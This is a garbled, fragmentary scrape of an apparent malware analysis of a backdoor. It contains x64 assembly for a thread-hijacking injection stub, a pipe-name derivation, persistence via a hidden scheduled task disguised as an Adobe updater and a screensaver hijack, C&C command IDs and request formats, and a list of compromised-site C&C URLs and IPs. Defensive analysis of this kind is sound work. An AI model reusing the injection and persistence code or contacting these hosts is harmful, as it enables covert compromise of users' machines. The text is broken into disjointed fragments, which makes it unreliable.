{531511FA-190D-5D85-8A4A-279F2F592CC7}
\\\\.\\pipe\\Winsock2\\CatalogChangeListener-FFFF-F
S-1-5-21-84813077-3085987743-2510664113-1000
time = SystemTime.wDay * Systemtime.wMonth * SystemTime.wYear = 24 * 04 * 2017 = 0x2f460
xsid = (1 * 21 * 84813077 * 3085987743 * 2510664113 * 1000) & 0xFFFFFFFF = 0xefa252d8
((time >> 20) + (time & 0xFFF) + ((time >> 12) & 0xFFF)) % 0xFF = 0x93
((xsid >> 20) + (xsid & 0xFFF) + ((xsid >> 12) & 0xFFF)) % 0xFF = 0x13
((time * xsid >> 24) + (uint8_t)(time * xsid) + ((uint16_t)(time * xsid) >> 8) + (uint8_t)(time * xsid >> 16)) % 0xf) = 0xa
\\\\.\\pipe\\Winsock2\\CatalogChangeListener-9313-a
\\\\.\\pipe\\\Winsock2\\CatalogChangeListener-FFFE-D
ZwQuerySystemInformation
function ZwQuerySystemInformation
used to retrieve the total number of threads executed in the target process;
OpenThread/SuspendThread
;GetThreadContext
;SetThreadContext
);ResumeThread
.launcher:
push rax
sub rsp, 38h
movabs rax, 5D20092 ; @ end of payload
mov qword ptr ss:[rsp+28], rax ; lpThreadId
mov qword ptr ss:[rsp+20], 0 ; dwCreationFlags
xor r9d, r9d ; lpParameter
movabs r8, 5D20046 ; lpStartAddress => @payload
xor edx, edx ; dwStackSize = 0
xor ecx, ecx ; lpThreadAttributes = NULL
call qword ptr ds:[CreateThread]
movabs rax, 90A7FACE90A7FACE ; replaced by the saved instruction pointer from thread context ;)
add rsp, 38h
xchg qword ptr ss:[rsp], rax
ret
payload:
sub rsp, 28
movabs r8, 5D20096
mov edx, 1
movabs rcx, 4000000000000000
call qword ptr ds: [DllEntryPoint]
xor ecx, ecx
call ExitThread
int 3
xxxx; @DllEntryPoint
xxxx ; @CreateThread
xxxx; @ExitThread
xxxx
xxxx
xxxx
xxxx ; TID
CMC_TAKE_LOADER_BODY
DeleteFile
function.
dword
, which is used to select the mode of saving data.
dword
value indicates data saving modedword
value indicates the amount of dataexplorer.exe, %malware_pathfile%
for the following key:
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
TASK_FLAG_HIDDEN
attribute (set via the SetFlags
method from the Itask
interface).
HKCU\Control Panel\Desktop
:
SCRNSAVE.exe
path to the malicious executable fileScreenSaveActive
value - 1: enable screensaverScreenSaverIsSecure
value - 0: the screensaver is not password protectedScreenSaveTimeout
set to the value specified in the resource. Indicates how long the system remains in standby mode before launching the screensaver (in this case, malware).dword
3, an LNK file will be created in the Start menu. The resource also provides the label file description, path and file name for LNK.
IshellLink
interface IshellLink
used to create a shell reference.
ITaskService, ITaskSettings, …
).
TaskSchedulerAutorun
) with data:
%APPDATA%\Adobe\adobeup.exe Adobe Acrobat Reader Updater. This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data. \Adobe\AcrobatReader.Adobe
"Adobe Acrobat Reader Updater"
"%APPDATA%\Adobe\adobeup.exe"
" Adobe Systems, Inc Adobe"
\Adobe\AcrobatReader.Adobe
\Adobe\AcrobatReader.Adobe
/q /c start "%s" && start "%s"
%TEMP%\CVRG72B5.tmp.cvr
: bootloader logs%TEMP%\CVRG1A6B.tmp.cvr
: Orchestrator Journals%TEMP%\CVRG38D9.tmp.cvr
: Communications Module Logs|10:29:56:197| [1556]
|10:29:56:197| [1557] ******************************************************************************************
|10:29:56:197| [1558] DATE: 25.05.2017
|10:29:56:197| [1559] PID=900 TID=2324 Heaps=32 C:\Windows\Explorer.EXE
|10:29:56:197| [1565] DLL_PROCESS_ATTACH
|10:29:56:197| [1574] 4164
|10:29:58:197| [0137] ==========================================================================
|10:29:58:197| [0138] Current thread = 2080
|10:29:58:197| [0183] Heap aff0000 [34]
|10:29:58:197| [0189] ### PE STORAGE ###
|10:29:58:197| [0215] ### PE CRYPTO ###
|10:29:58:197| [0246] ### EXTERNAL STORAGE ###
|10:29:58:197| [1688] Ok
|10:29:58:197| [0279] Path = \HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver
|10:29:58:197| [0190] \HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver
|10:29:58:197| [0338] ---FAILED
|10:29:58:197| [0346] Initializing standart reg storage...
|10:29:58:197| [0190] Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver
|10:29:58:197| [2605] Storage is empty!
|10:29:58:197| [0392] ### EXTERNAL CRYPTO ###
|10:29:59:666| [1688] Ok
|10:29:59:713| [1473] Ok
|10:29:59:760| [1688] Ok
|10:29:59:775| [1473] Ok
|10:29:59:775| [1688] Ok
|10:29:59:775| [1473] Ok
|10:29:59:791| [1688] Ok
|10:29:59:791| [1473] Ok
|10:29:59:806| [1688] Ok
|10:29:59:806| [1473] Ok
|10:29:59:806| [0270] 08-00-27-90-05-2A
|10:29:59:806| [0286] _GETSID_METHOD_1_
|10:29:59:806| [0425] 28 7 8 122
|10:29:59:806| [0463] S-1-5-21-84813077-3085987743-2510664113-1000
|10:29:59:806| [0471]
|10:29:59:806| [0787] Ok
|10:29:59:806| [1473] Ok
|10:29:59:822| [0514] ### QUEUES ###
|10:29:59:822| [0370] T Empty
|10:29:59:822| [0482] R Empty
|10:29:59:822| [1754] Ok
|10:29:59:822| [1688] Ok
|10:29:59:822| [1473] Ok
|10:29:59:838| [0505] R #4294967295 PR_100 TR_00000000 SZ_172 SC_0(50) --+- EX_0
|10:29:59:838| [0625] ### TRANSPORT ###
|10:29:59:838| [0286] _GETSID_METHOD_1_
|10:29:59:838| [0425] 28 7 25 122
|10:29:59:838| [0463] S-1-5-21-84813077-3085987743-2510664113-1000
|10:29:59:838| [0471]
|10:29:59:838| [0165] \\.\pipe\Winsock2\CatalogChangeListener-2313-4
|10:29:59:838| [0131] PipeName = \\.\pipe\Winsock2\CatalogChangeListener-2313-4
|10:29:59:838| [0041] true
[...]
%RootStoragePath%
). In each sample we studied, this resource indicated the same storage path:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver
%RootStoragePath%{119D263D-68FC-1942-3CA3-46B23FA652A0}
%RootStoragePath%{1DC12691-2B24-2265-435D-735D3B118A70}
%RootStoragePath%{28E74BDA-4327-31B0-17B9-56A66A818C1D}
%RootStoragePath%{31AC34A1-2DE2-36AC-1F6E-86F43772841F}
%RootStoragePath%{3CDC155D-398A-646E-1021-23047D9B4366}
%RootStoragePath%{4A3130BD-2608-730F-31A7-86D16CE66100}
%RootStoragePath%{56594FEA-5774-746D-4496-6361266C40D0}
%RootStoragePath%{629336E3-58D6-633B-5182-576588CF702A}
%RootStoragePath%{6CEE6FE1-10A2-4C33-7E7F-855A51733C77}
%RootStoragePath%{81A03BF8-60AA-4A56-253C-449121D61CAF}
%RootStoragePath%{8E9810C5-3014-4678-27EE-3B7A7AC346AF}
GetVolumeInformation()
function is GetVolumeInformation()
to ensure that the C: \\ drive supports named streams for ADS use.
"%TEMP%\\KB943729.log"
%TEMP%\KB943729.log:{1DC12691-2B24-2265-435D-735D3B118A70}
dword
specifies the data type of the resource:
explorer.exe
.
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
or use the InternetQueryOption
function with the INTERNET_OPTION_PROXY
flag if the proxy server cannot be obtained through the registry.
HKCU\Software\Microsoft\Windows\Current Version\Internet Settings
key;HKLM\Software\Microsoft\Windows\Current Version\Internet Settings\5.0\User Agent\Post Platform
section; those that have IEAK as data are connected to a user agent;Mozilla/4.0 (compatible; MSIE 6.0)
hard-coded UA is usedupdate.microsoft.com
microsoft.com
windowsupdate.microsoft.com
yahoo.com
google.com
CMC_GIVE_SETTINGS
command is transmitted to the CMC_GIVE_SETTINGS
via the communication channel (named pipe, more details in the next section). The message ( MSG
) contained in the packet, in this case, is the one byte set by the orchestrator for the status
id
[6-12]
hash
[10-15]
session
[10-15]
photo
[6-10]
video
[6-10]
album
[6-10]
client
[5-10]
key
[5-10]
account
[6-12]
member
[6-12]
partners
[5-10]
adm
[6-12]
author
[6-12]
contact
[6-12]
content
[6-12]
user
[6-12]
xxx.php?album=2ildzq&key=hdr2a&partners=d2lic33f&session=nurvxd2x0z8bztz&video=sg508tujm&photo=4d4idgk
xxx.php?photo=he29zms5fc&user=hvbc2a&author=xvfj5r0q9c&client=7mvvc&partners=t4mgmuy&adm=lo3r6v4
xxx.php?member=ectwzo820&contact=2qwi15&album=f1qzoxuef4&session=x0z8bztz8hrs65f&id=t3x0ftu9
xxx.php?partners=ha9hz9sn12&hash=5740kptk3acmu&album=uef4nm5d&session=dpeb67ip65f&member=arj6x3ljj
xxx.php?video=nfqsz570&client=28c7lu2&partners=818eguh70&contact=ibj3xch&content=1udm9t799ixr&session=5fjjt61qred9uo
InternetSetOption
.
CMC_TAKE_TASK
team CMC_TAKE_TASK
sent to the orchestra with an encrypted task received from the C & C server and its size. The orchestrator will be responsible for the task and will send the results to the communication module. The resulting execution result (encrypted by the orchestrator) will be transmitted to the C & C server using the POST request in the same way as for the GET request (using parameters with random values).
CMC_TAKE_TASK (ID_CMD: 1)
CMC_TAKE_LOADER_BODY (ID_CMD: 2)
CMC_GIVE_RESULT (ID_CMD: 4)
CMC_GIVE_SETTINGS (ID_CMD: 5)
CMC_TAKE_CONFIRM_RESULT (ID_CMD: 6)
CMC_TAKE_CAN_NOT_WORK (ID_CMD: 7)
CMC_TAKE_UNINSTALL (ID_CMD: 8)
CMC_TAKE_NOP (ID_CMD: 9)
CMC_NO_CONNECT_TO_GAZER (ID_CMD: 0xA)
CMC_TAKE_LAST_CONNECTION (ID_CMD: 0xB)
CMC_GIVE_CACHE / CMC_TAKE_CACHE (ID_CMD: 0xC / 0xD)
PE STORAGE
replaced by EXE SHELTER
, PE CRYPTO
to EXE CIPHER
and others.
%TEMP%\KB943729.log
%TEMP%\CVRG72B5.tmp.cvr
%TEMP%\CVRG1A6B.tmp.cvr
%TEMP%\CVRG38D9.tmp.cvr
%TEMP%\~DF1E06.tmp
%HOMEPATH%\ntuser.dat.LOG3
%HOMEPATH%\AppData\Local\Adobe\AdobeUpdater.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver
daybreakhealthcare.co.uk/wp-includes/themees.php
simplecreative.design/wp-content/plugins/calculated-fields-form/single.php
169.255.137.203/rss_0.php
outletpiumini.springwaterfeatures.com/wp-includes/pomo/settings.php
zerogov.com/wp-content/plugins.deactivate/paypal-donations/src/PaypalDonations/SimpleSubsribe.
php
ales.ball-mill.es/ckfinder/core/connector/php/php4/CommandHandler/CommandHandler.php
dyskurs.com.ua/wp-admin/includes/map-menu.php
warrixmalaysia.com.my/wp-content/plugins/jetpack/modules/contact-form/grunion-table-form.php
217.171.86.137/config.php
217.171.86.137/rss_0.php
shinestars-lifestyle.com/old_shinstar/includes/old/front_footer.old.php
www.aviasiya.com/murad.by/life/wp-content/plugins/wp-accounting/inc/pages/page-search.php
baby.greenweb.co.il/wp-content/themes/san-kloud/admin.php
soligro.com/wp-includes/pomo/db.php
giadinhvabe.net/wp-content/themes/viettemp/out/css/class.php
tekfordummies.com/wp-content/plugins/social-auto-poster/includes/libraries/delicious/Delicious.php
kennynguyen.esy.es/wp-content/plugins/wp-statistics/vendor/maxmind-db/reader/tests/MaxMind/Db/
test/Reader/BuildTest.php
sonneteck.com/wp-content/plugins/yith-woocommerce-wishlist/plugin-fw/licence/templates/panel/
activation/activation.php
chagiocaxuanson.esy.es/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/
ngglegacy/admin/templates/manage_gallery/gallery_preview_page_field.old.php
hotnews.16mb.com/wp-content/themes/twentysixteen/template-parts/content-header.php
zszinhyosz.pe.hu/wp-content/themes/twentyfourteen/page-templates/full-hight.php
weandcats.com/wp-content/plugins/broken-link-checker/modules/checkers/http-module.php
{531511FA-190D-5D85-8A4A-279F2F592CC7}
Source: https://habr.com/ru/post/336804/